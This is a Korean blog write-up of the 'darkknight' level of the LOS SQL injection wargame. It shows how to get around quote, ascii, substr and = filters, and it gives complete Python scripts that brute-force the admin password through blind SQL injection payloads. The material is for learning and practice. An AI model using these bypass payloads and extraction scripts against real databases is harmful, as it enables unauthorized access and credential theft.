LOS : https://los.rubiya.kr/
✔️ 문제
문제는 다음과 같다.
이번에는 싱글쿼터, substr, ascii, =에 대한 필터링이 걸려있다.
✔️ 풀이
풀이를 위한 코드는 다음과 같다.
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight");
이전 문제와 동일한 것 같지만, 싱글쿼터가 필터링 되어있고
전에 사용하던 ascii를 사용하지 못하는 상태이다.
1) ascii 필터링을 우회하기 위해서 같은 기능을 하는 ord 함수를 사용한다.
2) 싱글쿼터 필터링을 우회하기 위해서 더블쿼터를 사용한다.
3) = 필터링을 우회하기 위해서 like를 사용한다.
4) substr 필터링을 우회하기 위해서 mid 함수 사용한다.
5) pw는 싱글쿼터로 감싸기때문에 아무 값이나 입력하고 뒤에 있는 no를 이용한다.
다음 사항들을 고려하면서 페이로드를 작성해보도록 하자.
우선 admin을 출력해본다.
다음과 같은 페이로드가 정상적으로 먹히는 것을 확인할 수 있다.
싱글쿼터 우회를 위해 모든 싱글쿼터가 들어가는 페이로드에 더블쿼터를 사용하고,
= 연산자는 like로 대체한다. 그리고 이 페이로드를 사용하여
이전에 작성했던 스크립트를 수정하여 패스워드 길이를 알아내보자.
import requests
url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php"
cookies = { "PHPSESSID" : "쿠키값" }
def pw_length():
length = 1
while True:
params = { "pw" : "123",
"no" : "\"\" or id like \"admin\" and length(pw) like {} #".format(length) }
request = requests.get(url, params=params, cookies=cookies)
if "Hello admin" in request.text:
return length
else:
length += 1
print("패스워드 길이:", pw_length())
이번에도 패스워드 길이가 8자리라는 것을 확인할 수 있다.
참고로, 파이썬에서는 더블쿼터를 문자로 취급하기 위해 앞에 역슬래쉬를 작성한다.
https://www.w3resource.com/mysql/string-functions/mysql-ord-function.php
MySQL ord() function - w3resource
MySQL ORD() returns the code for the leftmost character if that character is a multi-byte (sequence of one or more bytes) one. If the leftmost character is not a multi-byte character, ORD() returns the same value as the ASCII() function.
www.w3resource.com
https://www.w3schools.com/sql/func_mysql_mid.asp
MySQL MID() Function
W3Schools offers free online tutorials, references and exercises in all the major languages of the web. Covering popular subjects like HTML, CSS, JavaScript, Python, SQL, Java, and many, many more.
www.w3schools.com
이후 패스워드를 알아내기 위해서 ascii는 거의 동일한 기능을 수행하는
ord로 바꾸고, substr도 거의 동일한 기능을 수행하는
mid로 입력하여 스크립트를 실행하자.
import requests
url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php"
cookies = { "PHPSESSID" : "쿠키값" }
def pw_length():
length = 1
while True:
params = { "pw" : "123",
"no" : "\"\" or id like \"admin\" and length(pw) like {} #".format(length) }
request = requests.get(url, params=params, cookies=cookies)
if "Hello admin" in request.text:
return length
else:
length += 1
def pw_crack():
password_length = pw_length()
password = ''
for i in range(1, password_length+1):
for j in range(30, 123):
params = { "pw" : "123",
"no" : "\"\" or id like \"admin\" and ord(mid(pw, {}, 1)) like {} #".format(i, j) }
request = requests.get(url, params=params, cookies=cookies)
if "Hello admin" in request.text:
password = password + chr(j)
print("패스워드:", password)
if len(password) == 8:
break
pw_crack()
문제를 성공적으로 클리어할 수 있다.
화이팅 💪
'보안 > LOS' 카테고리의 다른 글
[LOS] giant (0) | 2022.12.23 |
---|---|
[LOS] bugbear (0) | 2022.12.22 |
[LOS] golem (0) | 2022.12.22 |
[LOS] skeleton (0) | 2022.12.21 |
[LOS] vampire (0) | 2022.12.21 |